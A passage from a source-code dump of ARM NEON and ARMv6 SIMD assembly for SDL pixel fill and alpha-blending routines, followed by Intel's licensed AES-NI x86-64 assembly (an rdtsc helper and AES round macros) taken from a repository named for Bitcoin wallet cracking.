/* Short-row case */
51: movs v1, a1
.if bpp == 8
tst a3, #3
beq 53f
52: subs v1, v1, #1
blo 57f
strb ip, [a3], #1
tst a3, #3
bne 52b
.elseif bpp == 16
tstne a3, #2
subne v1, v1, #1
strneh ip, [a3], #2
.endif
53: cmp v1, #32 >> \log2Bpp
bcc 54f
vst1.\bpp {q0-q1}, [a3]!
sub v1, v1, #32 >> \log2Bpp
/* Trailing pixels */
54: movs v1, v1, lsl #27 + \log2Bpp
bcc 55f
vst1.\bpp {q0-q1}, [a3]!
55: bpl 56f
vst1.\bpp {q0}, [a3]!
56: movs v1, v1, lsl #2
vstmcs a3!, {d0}
vstmmi a3!, {s0}
.if bpp <= 16
movs v1, v1, lsl #2
strcsh ip, [a3], #2
.if bpp == 8
strmib ip, [a3], #1
.endif
.endif
subs a2, a2, #1
add a3, a3, a4, lsl #\log2Bpp
bhi 51b
57: pop {v1-v3,pc}
.endfunc
.endm
generate_fillrect_function FillRect32ARMNEONAsm, 32, 2
generate_fillrect_function FillRect16ARMNEONAsm, 16, 1
generate_fillrect_function FillRect8ARMNEONAsm, 8, 0
/******************************************************************************/
.macro RGBtoRGBPixelAlpha_process_pixblock_head
vmvn d30, d3 /* get inverted source alpha */
vmov d31, d7 /* dest alpha is always unchanged */
vmull.u8 q14, d0, d3
vmlal.u8 q14, d4, d30
vmull.u8 q0, d1, d3
vmlal.u8 q0, d5, d30
vmull.u8 q1, d2, d3
vmlal.u8 q1, d6, d30
vrshr.u16 q2, q14, #8
vrshr.u16 q3, q0, #8
vraddhn.u16 d28, q14, q2
vrshr.u16 q2, q1, #8
vraddhn.u16 d29, q0, q3
vraddhn.u16 d30, q1, q2
.endm
.macro RGBtoRGBPixelAlpha_process_pixblock_tail
/* nothing */
.endm
.macro RGBtoRGBPixelAlpha_process_pixblock_tail_head
vld4.8 {d0-d3}, [SRC]!
PF add PF_X, PF_X, #8
vst4.8 {d28-d31}, [DST_W :128]!
PF tst PF_CTL, #0xF
vld4.8 {d4-d7}, [DST_R :128]!
PF addne PF_X, PF_X, #8
vmvn d30, d3 /* get inverted source alpha */
vmov d31, d7 /* dest alpha is always unchanged */
vmull.u8 q14, d0, d3
PF subne PF_CTL, PF_CTL, #1
vmlal.u8 q14, d4, d30
PF cmp PF_X, ORIG_W
vmull.u8 q0, d1, d3
PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift]
vmlal.u8 q0, d5, d30
PF pld, [PF_DST, PF_X, lsl #dst_bpp_shift]
vmull.u8 q1, d2, d3
PF subge PF_X, PF_X, ORIG_W
vmlal.u8 q1, d6, d30
PF subges PF_CTL, PF_CTL, #0x10
vrshr.u16 q2, q14, #8
PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]!
vrshr.u16 q3, q0, #8
PF ldrgeb DUMMY, [PF_DST, DST_STRIDE, lsl #dst_bpp_shift]!
vraddhn.u16 d28, q14, q2
vrshr.u16 q2, q1, #8
vraddhn.u16 d29, q0, q3
vraddhn.u16 d30, q1, q2
.endm
generate_composite_function \
BlitRGBtoRGBPixelAlphaARMNEONAsm, 32, 0, 32, \
FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
8, /* number of pixels, processed in a single block */ \
5, /* prefetch distance */ \
default_init, \
default_cleanup, \
RGBtoRGBPixelAlpha_process_pixblock_head, \
RGBtoRGBPixelAlpha_process_pixblock_tail, \
RGBtoRGBPixelAlpha_process_pixblock_tail_head
/******************************************************************************/
.macro ARGBto565PixelAlpha_process_pixblock_head
vmvn d6, d3
vshr.u8 d1, #2
vshr.u8 d3, #3
vshr.u8 d0, #3
vshrn.u16 d7, q2, #3
vshrn.u16 d25, q2, #8
vbic.i16 q2, #0xe0
vshr.u8 d6, #3
vshr.u8 d7, #2
vshr.u8 d2, #3
vmovn.u16 d24, q2
vshr.u8 d25, #3
vmull.u8 q13, d1, d3
vmlal.u8 q13, d7, d6
vmull.u8 q14, d0, d3
vmlal.u8 q14, d24, d6
vmull.u8 q15, d2, d3
vmlal.u8 q15, d25, d6
.endm
.macro ARGBto565PixelAlpha_process_pixblock_tail
vsra.u16 q13, #5
vsra.u16 q14, #5
vsra.u16 q15, #5
vrshr.u16 q13, #5
vrshr.u16 q14, #5
vrshr.u16 q15, #5
vsli.u16 q14, q13, #5
vsli.u16 q14, q15, #11
.endm
.macro ARGBto565PixelAlpha_process_pixblock_tail_head
vld4.8 {d0-d3}, [SRC]!
PF add PF_X, PF_X, #8
vsra.u16 q13, #5
PF tst PF_CTL, #0xF
vsra.u16 q14, #5
PF addne PF_X, PF_X, #8
vsra.u16 q15, #5
PF subne PF_CTL, PF_CTL, #1
vrshr.u16 q13, #5
PF cmp PF_X, ORIG_W
vrshr.u16 q14, #5
PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift]
vrshr.u16 q15, #5
PF pld, [PF_DST, PF_X, lsl #dst_bpp_shift]
vld1.8 {d4-d5}, [DST_R]!
PF subge PF_X, PF_X, ORIG_W
vsli.u16 q14, q13, #5
PF subges PF_CTL, PF_CTL, #0x10
vsli.u16 q14, q15, #11
PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]!
vst1.8 {q14}, [DST_W :128]!
vmvn d6, d3
vshr.u8 d1, #2
vshr.u8 d3, #3
vshr.u8 d0, #3
vshrn.u16 d7, q2, #3
vshrn.u16 d25, q2, #8
vbic.i16 q2, #0xe0
PF ldrgeb DUMMY, [PF_DST, DST_STRIDE, lsl #dst_bpp_shift]!
vshr.u8 d6, #3
vshr.u8 d7, #2
vshr.u8 d2, #3
vmovn.u16 d24, q2
vshr.u8 d25, #3
vmull.u8 q13, d1, d3
vmlal.u8 q13, d7, d6
vmull.u8 q14, d0, d3
vmlal.u8 q14, d24, d6
vmull.u8 q15, d2, d3
vmlal.u8 q15, d25, d6
.endm
generate_composite_function \
BlitARGBto565PixelAlphaARMNEONAsm, 32, 0, 16, \
FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
8, /* number of pixels, processed in a single block */ \
6, /* prefetch distance */ \
default_init, \
default_cleanup, \
ARGBto565PixelAlpha_process_pixblock_head, \
ARGBto565PixelAlpha_process_pixblock_tail, \
ARGBto565PixelAlpha_process_pixblock_tail_head
|
alanwoolley/CorsixTH-Android | 19,392 | jni/SDL/src/video/arm/pixman-arm-simd-asm.S | /*
* Copyright (c) 2016 RISC OS Open Ltd
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
*
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
/* Prevent the stack from becoming executable */
#if defined(__linux__) && defined(__ELF__)
.section .note.GNU-stack,"",%progbits
#endif
.text
.arch armv6
.object_arch armv4
.arm
.altmacro
.p2align 2
#include "pixman-arm-asm.h"
#include "pixman-arm-simd-asm.h"
/* A head macro should do all processing which results in an output of up to
* 16 bytes, as far as the final load instruction. The corresponding tail macro
* should complete the processing of the up-to-16 bytes. The calling macro will
* sometimes choose to insert a preload or a decrement of X between them.
* cond ARM condition code for code block
* numbytes Number of output bytes that should be generated this time
* firstreg First WK register in which to place output
* unaligned_src Whether to use non-wordaligned loads of source image
* unaligned_mask Whether to use non-wordaligned loads of mask image
* preload If outputting 16 bytes causes 64 bytes to be read, whether an extra preload should be output
*/
/******************************************************************************/
.macro FillRect32_init
ldr SRC, [sp, #ARGS_STACK_OFFSET]
mov STRIDE_S, SRC
mov MASK, SRC
mov STRIDE_M, SRC
.endm
.macro FillRect16_init
ldrh SRC, [sp, #ARGS_STACK_OFFSET]
orr SRC, SRC, lsl #16
mov STRIDE_S, SRC
mov MASK, SRC
mov STRIDE_M, SRC
.endm
.macro FillRect8_init
ldrb SRC, [sp, #ARGS_STACK_OFFSET]
orr SRC, SRC, lsl #8
orr SRC, SRC, lsl #16
mov STRIDE_S, SRC
mov MASK, SRC
mov STRIDE_M, SRC
.endm
.macro FillRect_process_tail cond, numbytes, firstreg
WK4 .req SRC
WK5 .req STRIDE_S
WK6 .req MASK
WK7 .req STRIDE_M
pixst cond, numbytes, 4, DST
.unreq WK4
.unreq WK5
.unreq WK6
.unreq WK7
.endm
generate_composite_function \
FillRect32ARMSIMDAsm, 0, 0, 32, \
FLAG_DST_WRITEONLY | FLAG_COND_EXEC | FLAG_PROCESS_PRESERVES_PSR | FLAG_PROCESS_DOES_STORE | FLAG_PROCESS_PRESERVES_SCRATCH \
0, /* prefetch distance doesn't apply */ \
FillRect32_init \
nop_macro, /* newline */ \
nop_macro /* cleanup */ \
nop_macro /* process head */ \
FillRect_process_tail
generate_composite_function \
FillRect16ARMSIMDAsm, 0, 0, 16, \
FLAG_DST_WRITEONLY | FLAG_COND_EXEC | FLAG_PROCESS_PRESERVES_PSR | FLAG_PROCESS_DOES_STORE | FLAG_PROCESS_PRESERVES_SCRATCH \
0, /* prefetch distance doesn't apply */ \
FillRect16_init \
nop_macro, /* newline */ \
nop_macro /* cleanup */ \
nop_macro /* process head */ \
FillRect_process_tail
generate_composite_function \
FillRect8ARMSIMDAsm, 0, 0, 8, \
FLAG_DST_WRITEONLY | FLAG_COND_EXEC | FLAG_PROCESS_PRESERVES_PSR | FLAG_PROCESS_DOES_STORE | FLAG_PROCESS_PRESERVES_SCRATCH \
0, /* prefetch distance doesn't apply */ \
FillRect8_init \
nop_macro, /* newline */ \
nop_macro /* cleanup */ \
nop_macro /* process head */ \
FillRect_process_tail
/******************************************************************************/
/* This differs from the over_8888_8888 routine in Pixman in that the destination
* alpha component is always left unchanged, and RGB components are not
* premultiplied by alpha. It differs from BlitRGBtoRGBPixelAlpha in that
* renormalisation is done by multiplying by 257/256 (with rounding) rather than
* simply shifting right by 8 bits - removing the need to special-case alpha=0xff.
*/
.macro RGBtoRGBPixelAlpha_init
line_saved_regs STRIDE_S, ORIG_W
mov MASK, #0x80
.endm
.macro RGBtoRGBPixelAlpha_1pixel_translucent s, d, tmp0, tmp1, tmp2, tmp3, half
uxtb tmp3, s
uxtb tmp0, d
sub tmp0, tmp3, tmp0
uxtb tmp3, s, ror #16
uxtb tmp1, d, ror #16
sub tmp1, tmp3, tmp1
uxtb tmp3, s, ror #8
mov s, s, lsr #24
uxtb tmp2, d, ror #8
sub tmp2, tmp3, tmp2
smlabb tmp0, tmp0, s, half
smlabb tmp1, tmp1, s, half
smlabb tmp2, tmp2, s, half
add tmp0, tmp0, asr #8
add tmp1, tmp1, asr #8
add tmp2, tmp2, asr #8
pkhbt tmp0, tmp0, tmp1, lsl #16
and tmp2, tmp2, #0xff00
uxtb16 tmp0, tmp0, ror #8
orr tmp0, tmp0, tmp2
uadd8 d, d, tmp0
.endm
.macro RGBtoRGBPixelAlpha_1pixel_opaque s, d
and d, d, #0xff000000
bic s, s, #0xff000000
orr d, d, s
.endm
.macro RGBtoRGBPixelAlpha_process_head cond, numbytes, firstreg, unaligned_src, unaligned_mask, preload
.if numbytes == 16
ldm SRC!, {WK0, WK1}
ldm SRC!, {STRIDE_S, STRIDE_M}
ldrd WK2, WK3, [DST], #16
orr SCRATCH, WK0, WK1
and ORIG_W, WK0, WK1
orr SCRATCH, SCRATCH, STRIDE_S
and ORIG_W, ORIG_W, STRIDE_S
orr SCRATCH, SCRATCH, STRIDE_M
and ORIG_W, ORIG_W, STRIDE_M
tst SCRATCH, #0xff000000
.elseif numbytes == 8
ldm SRC!, {WK0, WK1}
ldm DST!, {WK2, WK3}
orr SCRATCH, WK0, WK1
and ORIG_W, WK0, WK1
tst SCRATCH, #0xff000000
.else // numbytes == 4
ldr WK0, [SRC], #4
ldr WK2, [DST], #4
tst WK0, #0xff000000
.endif
.endm
.macro RGBtoRGBPixelAlpha_process_tail cond, numbytes, firstreg
beq 20f @ all transparent
.if numbytes == 16
cmp ORIG_W, #0xff000000
bhs 10f @ all opaque
RGBtoRGBPixelAlpha_1pixel_translucent WK0, WK2, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK
RGBtoRGBPixelAlpha_1pixel_translucent WK1, WK3, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK
strd WK2, WK3, [DST, #-16]
ldrd WK0, WK1, [SRC, #-8]
ldrd WK2, WK3, [DST, #-8]
RGBtoRGBPixelAlpha_1pixel_translucent WK0, WK2, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK
RGBtoRGBPixelAlpha_1pixel_translucent WK1, WK3, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK
b 19f
10: RGBtoRGBPixelAlpha_1pixel_opaque WK0, WK2
RGBtoRGBPixelAlpha_1pixel_opaque WK1, WK3
strd WK2, WK3, [DST, #-16]
ldrd WK0, WK1, [SRC, #-8]
ldrd WK2, WK3, [DST, #-8]
RGBtoRGBPixelAlpha_1pixel_opaque WK0, WK2
RGBtoRGBPixelAlpha_1pixel_opaque WK1, WK3
19: strd WK2, WK3, [DST, #-8]
.elseif numbytes == 8
cmp ORIG_W, #0xff000000
bhs 10f @ all opaque
RGBtoRGBPixelAlpha_1pixel_translucent WK0, WK2, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK
RGBtoRGBPixelAlpha_1pixel_translucent WK1, WK3, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK
b 19f
10: RGBtoRGBPixelAlpha_1pixel_opaque WK0, WK2
RGBtoRGBPixelAlpha_1pixel_opaque WK1, WK3
19: strd WK2, WK3, [DST, #-8]
.else // numbytes == 4
cmp WK0, #0xff000000
bhs 10f @ opaque
RGBtoRGBPixelAlpha_1pixel_translucent WK0, WK2, STRIDE_S, STRIDE_M, SCRATCH, ORIG_W, MASK
b 19f
10: RGBtoRGBPixelAlpha_1pixel_opaque WK0, WK2
19: str WK2, [DST, #-4]
.endif
20:
.endm
generate_composite_function \
BlitRGBtoRGBPixelAlphaARMSIMDAsm, 32, 0, 32, \
FLAG_DST_READWRITE | FLAG_BRANCH_OVER | FLAG_PROCESS_CORRUPTS_PSR | FLAG_PROCESS_DOES_STORE | FLAG_SPILL_LINE_VARS | FLAG_PROCESS_CORRUPTS_WK0, \
2, /* prefetch distance */ \
RGBtoRGBPixelAlpha_init, \
nop_macro, /* newline */ \
nop_macro, /* cleanup */ \
RGBtoRGBPixelAlpha_process_head, \
RGBtoRGBPixelAlpha_process_tail
/******************************************************************************/
.macro ARGBto565PixelAlpha_init
line_saved_regs STRIDE_D, STRIDE_S, ORIG_W
mov MASK, #0x001f
mov STRIDE_M, #0x0010
orr MASK, MASK, MASK, lsl #16
orr STRIDE_M, STRIDE_M, STRIDE_M, lsl #16
.endm
.macro ARGBto565PixelAlpha_newline
mov STRIDE_S, #0x0200
.endm
/* On entry:
* s1 holds 1 32bpp source pixel
* d holds 1 16bpp destination pixel
* rbmask, rbhalf, ghalf hold 0x001f001f, 0x00100010, 0x00000200 respectively
* other registers are temporaries
* On exit:
* Constant registers preserved
*/
.macro ARGBto565PixelAlpha_1pixel_translucent s, d, rbmask, rbhalf, ghalf, alpha, rb, g, misc
mov alpha, s, lsr #27
and misc, s, #0xfc00
and g, d, #0x07e0
pkhbt rb, d, d, lsl #5
rsb misc, g, misc, lsr #5
and s, rbmask, s, lsr #3
and rb, rbmask, rb
sub s, s, rb
smlabb misc, misc, alpha, ghalf
mla s, s, alpha, rbhalf
add misc, misc, misc, lsl #5
add g, g, misc, asr #10
add s, s, s, lsl #5
and g, g, #0x07e0
add rb, rb, s, asr #10
and rb, rb, rbmask
pkhbt rb, rb, rb, lsl #11
orr d, rb, g
orr d, d, rb, lsr #16
.endm
/* On entry:
* s1 holds 1 32bpp source pixel
* d holds 1 16bpp destination pixel
* rbmask holds 0x001f001f
* On exit:
* Constant registers preserved
*/
.macro ARGBto565PixelAlpha_1pixel_opaque s, d, rbmask
and d, rbmask, s, lsr #3
and s, s, #0xfc00
orr d, d, d, lsr #5
orr d, d, s, lsr #5
.endm
/* On entry:
* s1, s2 hold 2 32bpp source pixels
* d holds 2 16bpp destination pixels
* rbmask, rbhalf, ghalf hold 0x001f001f, 0x00100010, 0x00000200 respectively
* other registers are temporaries
* On exit:
* Constant registers preserved
* Blended results have been written through destination pointer
*/
.macro ARGBto565PixelAlpha_2pixels_translucent s1, s2, d, rbmask, rbhalf, ghalf, alpha, rb, g, misc
mov alpha, s1, lsr #27
and misc, s1, #0xfc00
and g, d, #0x07e0
pkhbt rb, d, d, lsl #5
rsb misc, g, misc, lsr #5
and s1, rbmask, s1, lsr #3
and rb, rbmask, rb
sub s1, s1, rb
smlabb misc, misc, alpha, ghalf
mla s1, s1, alpha, rbhalf
uxth d, d, ror #16
add misc, misc, misc, lsl #5
mov alpha, s2, lsr #27
add g, g, misc, asr #10
add s1, s1, s1, lsl #5
and g, g, #0x07e0
add rb, rb, s1, asr #10
and rb, rb, rbmask
and misc, s2, #0xfc00
pkhbt rb, rb, rb, lsl #11
and s1, d, #0x07e0
pkhbt d, d, d, lsl #5
rsb misc, s1, misc, lsr #5
and s2, rbmask, s2, lsr #3
and d, rbmask, d
sub s2, s2, d
smlabb misc, misc, alpha, ghalf
mla s2, s2, alpha, rbhalf
orr alpha, rb, g
add misc, misc, misc, lsl #5
orr alpha, alpha, rb, lsr #16
add s1, s1, misc, asr #10
add s2, s2, s2, lsl #5
and s1, s1, #0x07e0
add d, d, s2, asr #10
and d, d, rbmask
strh alpha, [DST, #-4]
pkhbt d, d, d, lsl #11
orr alpha, d, s1
orr alpha, alpha, d, lsr #16
strh alpha, [DST, #-2]
.endm
/* On entry:
* s1, s2 hold 2 32bpp source pixels
* rbmask holds 0x001f001f
* other registers are temporaries
* On exit:
* Constant registers preserved
* Blended results have been written through destination pointer
*/
.macro ARGBto565PixelAlpha_2pixels_opaque s1, s2, d, rbmask, g
and g, s1, #0xfc00
and d, rbmask, s1, lsr #3
and s1, rbmask, s2, lsr #3
orr d, d, d, lsr #5
orr d, d, g, lsr #5
and g, s2, #0xfc00
strh d, [DST, #-4]
orr s1, s1, s1, lsr #5
orr s1, s1, g, lsr #5
strh s1, [DST, #-2]
.endm
.macro ARGBto565PixelAlpha_2pixels_head
ldrd WK0, WK1, [SRC], #8
ldr WK2, [DST], #4
orr SCRATCH, WK0, WK1
and ORIG_W, WK0, WK1
tst SCRATCH, #0xff000000
.endm
.macro ARGBto565PixelAlpha_2pixels_tail
beq 20f @ all transparent
cmp ORIG_W, #0xff000000
bhs 10f @ all opaque
ARGBto565PixelAlpha_2pixels_translucent WK0, WK1, WK2, MASK, STRIDE_M, STRIDE_S, STRIDE_D, WK3, SCRATCH, ORIG_W
b 20f
10: ARGBto565PixelAlpha_2pixels_opaque WK0, WK1, WK2, MASK, SCRATCH
20:
.endm
.macro ARGBto565PixelAlpha_process_head cond, numbytes, firstreg, unaligned_src, unaligned_mask, preload
.if numbytes == 16
ARGBto565PixelAlpha_2pixels_head
ARGBto565PixelAlpha_2pixels_tail
ARGBto565PixelAlpha_2pixels_head
ARGBto565PixelAlpha_2pixels_tail
.endif
.if numbytes >= 8
ARGBto565PixelAlpha_2pixels_head
ARGBto565PixelAlpha_2pixels_tail
.endif
.if numbytes >= 4
ARGBto565PixelAlpha_2pixels_head
.else // numbytes == 2
ldr WK0, [SRC], #4
ldrh WK2, [DST], #2
tst WK0, #0xff000000
.endif
.endm
.macro ARGBto565PixelAlpha_process_tail cond, numbytes, firstreg
.if numbytes >= 4
ARGBto565PixelAlpha_2pixels_tail
.else // numbytes == 2
beq 20f @ all transparent
cmp WK0, #0xff000000
bhs 10f @ opaque
ARGBto565PixelAlpha_1pixel_translucent WK0, WK2, MASK, STRIDE_M, STRIDE_S, STRIDE_D, WK3, SCRATCH, ORIG_W
b 19f
10: ARGBto565PixelAlpha_1pixel_opaque WK0, WK2, MASK
19: strh WK2, [DST, #-2]
20:
.endif
.endm
generate_composite_function \
BlitARGBto565PixelAlphaARMSIMDAsm, 32, 0, 16, \
FLAG_DST_READWRITE | FLAG_BRANCH_OVER | FLAG_PROCESS_CORRUPTS_PSR | FLAG_PROCESS_DOES_STORE | FLAG_SPILL_LINE_VARS | FLAG_PROCESS_CORRUPTS_WK0, \
2, /* prefetch distance */ \
ARGBto565PixelAlpha_init, \
ARGBto565PixelAlpha_newline, \
nop_macro, /* cleanup */ \
ARGBto565PixelAlpha_process_head, \
ARGBto565PixelAlpha_process_tail
/******************************************************************************/
.macro BGR888toRGB888_1pixel cond, reg, tmp
uxtb16&cond tmp, WK®, ror #8
uxtb16&cond WK®, WK®, ror #16
orr&cond WK®, WK®, tmp, lsl #8
.endm
.macro BGR888toRGB888_2pixels cond, reg1, reg2, tmp1, tmp2
uxtb16&cond tmp1, WK®1, ror #8
uxtb16&cond WK®1, WK®1, ror #16
uxtb16&cond tmp2, WK®2, ror #8
uxtb16&cond WK®2, WK®2, ror #16
orr&cond WK®1, WK®1, tmp1, lsl #8
orr&cond WK®2, WK®2, tmp2, lsl #8
.endm
.macro BGR888toRGB888_process_head cond, numbytes, firstreg, unaligned_src, unaligned_mask, preload
pixld cond, numbytes, firstreg, SRC, unaligned_src
.endm
.macro BGR888toRGB888_process_tail cond, numbytes, firstreg
.if numbytes >= 8
BGR888toRGB888_2pixels cond, %(firstreg+0), %(firstreg+1), MASK, STRIDE_M
.if numbytes == 16
BGR888toRGB888_2pixels cond, %(firstreg+2), %(firstreg+3), MASK, STRIDE_M
.endif
.else @ numbytes == 4
BGR888toRGB888_1pixel cond, %(firstreg+0), MASK
.endif
.endm
generate_composite_function \
Blit_BGR888_RGB888ARMSIMDAsm, 32, 0, 32, \
FLAG_DST_WRITEONLY | FLAG_COND_EXEC | FLAG_PROCESS_PRESERVES_SCRATCH, \
2, /* prefetch distance */ \
nop_macro, /* init */ \
nop_macro, /* newline */ \
nop_macro, /* cleanup */ \
BGR888toRGB888_process_head, \
BGR888toRGB888_process_tail
/******************************************************************************/
.macro RGB444toRGB888_init
ldr MASK, =0x0f0f0f0f
/* Set GE[3:0] to 0101 so SEL instructions do what we want */
msr CPSR_s, #0x50000
.endm
.macro RGB444toRGB888_1pixel reg, mask, tmp
pkhbt WK®, WK®, WK®, lsl #12 @ 0000aaaarrrrggggaaaarrrrggggbbbb
and WK®, mask, WK® @ 0000aaaa0000gggg0000rrrr0000bbbb
orr WK®, WK®, WK®, lsl #4 @ aaaaaaaaggggggggrrrrrrrrbbbbbbbb
pkhtb tmp, WK®, WK®, asr #8 @ aaaaaaaaggggggggggggggggrrrrrrrr
pkhbt WK®, WK®, WK®, lsl #8 @ ggggggggrrrrrrrrrrrrrrrrbbbbbbbb
sel WK®, WK®, tmp @ aaaaaaaarrrrrrrrggggggggbbbbbbbb
.endm
.macro RGB444toRGB888_2pixels in, out1, out2, mask, tmp1, tmp2
and tmp1, mask, WK&in @ 0000RRRR0000BBBB0000rrrr0000bbbb
and tmp2, mask, WK&in, lsr #4 @ 0000AAAA0000GGGG0000aaaa0000gggg
orr tmp1, tmp1, tmp1, lsl #4 @ RRRRRRRRBBBBBBBBrrrrrrrrbbbbbbbb
orr tmp2, tmp2, tmp2, lsl #4 @ AAAAAAAAGGGGGGGGaaaaaaaagggggggg
pkhtb WK&out2, tmp2, tmp1, asr #16 @ AAAAAAAAGGGGGGGGRRRRRRRRBBBBBBBB
pkhbt WK&out1, tmp1, tmp2, lsl #16 @ aaaaaaaaggggggggrrrrrrrrbbbbbbbb
pkhtb tmp2, WK&out2, WK&out2, asr #8 @ AAAAAAAAGGGGGGGGGGGGGGGGRRRRRRRR
pkhtb tmp1, WK&out1, WK&out1, asr #8 @ aaaaaaaaggggggggggggggggrrrrrrrr
pkhbt WK&out1, WK&out1, WK&out1, lsl #8 @ ggggggggrrrrrrrrrrrrrrrrbbbbbbbb
pkhbt WK&out2, WK&out2, WK&out2, lsl #8 @ GGGGGGGGRRRRRRRRRRRRRRRRBBBBBBBB
sel WK&out1, WK&out1, tmp1 @ aaaaaaaarrrrrrrrggggggggbbbbbbbb
sel WK&out2, WK&out2, tmp2 @ AAAAAAAARRRRRRRRGGGGGGGGBBBBBBBB
.endm
.macro RGB444toRGB888_process_head cond, numbytes, firstreg, unaligned_src, unaligned_mask, preload
pixld cond, numbytes/2, firstreg, SRC, unaligned_src
.endm
.macro RGB444toRGB888_process_tail cond, numbytes, firstreg
.if numbytes >= 8
.if numbytes == 16
RGB444toRGB888_2pixels %(firstreg+1), %(firstreg+2), %(firstreg+3), MASK, STRIDE_M, SCRATCH
.endif
RGB444toRGB888_2pixels %(firstreg+0), %(firstreg+0), %(firstreg+1), MASK, STRIDE_M, SCRATCH
.else @ numbytes == 4
RGB444toRGB888_1pixel %(firstreg+0), MASK, SCRATCH
.endif
.endm
generate_composite_function \
Blit_RGB444_RGB888ARMSIMDAsm, 16, 0, 32, \
FLAG_DST_WRITEONLY | FLAG_BRANCH_OVER, \
2, /* prefetch distance */ \
RGB444toRGB888_init, \
nop_macro, /* newline */ \
nop_macro, /* cleanup */ \
RGB444toRGB888_process_head, \
RGB444toRGB888_process_tail
|
albertobsd/crackBTCwallet | 1,692 | libaesni_custom/asm/do_rdtsc.s | [bits 64]
[CPU intelnop]
; Copyright (c) 2010, Intel Corporation
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; * Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
; * Neither the name of Intel Corporation nor the names of its contributors
; may be used to endorse or promote products derived from this software
; without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
; IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
; LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
; OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
; ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
align 16
global _do_rdtsc
_do_rdtsc:
rdtsc
shl rdx, 32
or rax, rdx
ret 0
|
albertobsd/crackBTCwallet | 39,581 | libaesni_custom/asm/iaesx64.s | [bits 64]
[CPU intelnop]
; Copyright (c) 2010, Intel Corporation
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; * Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
; * Neither the name of Intel Corporation nor the names of its contributors
; may be used to endorse or promote products derived from this software
; without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
; IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
; LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
; OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
; ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
%macro linux_setup 0
%ifdef __linux__
mov rcx, rdi
mov rdx, rsi
%endif
%endmacro
%macro inversekey 1
movdqu xmm1,%1
aesimc xmm0,xmm1
movdqu %1,xmm0
%endmacro
%macro aesdeclast1 1
aesdeclast xmm0,%1
%endmacro
%macro aesenclast1 1
aesenclast xmm0,%1
%endmacro
%macro aesdec1 1
aesdec xmm0,%1
%endmacro
%macro aesenc1 1
aesenc xmm0,%1
%endmacro
%macro aesdeclast1_u 1
movdqu xmm4,%1
aesdeclast xmm0,xmm4
%endmacro
%macro aesenclast1_u 1
movdqu xmm4,%1
aesenclast xmm0,xmm4
%endmacro
%macro aesdec1_u 1
movdqu xmm4,%1
aesdec xmm0,xmm4
%endmacro
%macro aesenc1_u 1
movdqu xmm4,%1
aesenc xmm0,xmm4
%endmacro
%macro aesdec4 1
movdqa xmm4,%1
aesdec xmm0,xmm4
aesdec xmm1,xmm4
aesdec xmm2,xmm4
aesdec xmm3,xmm4
%endmacro
%macro aesdeclast4 1
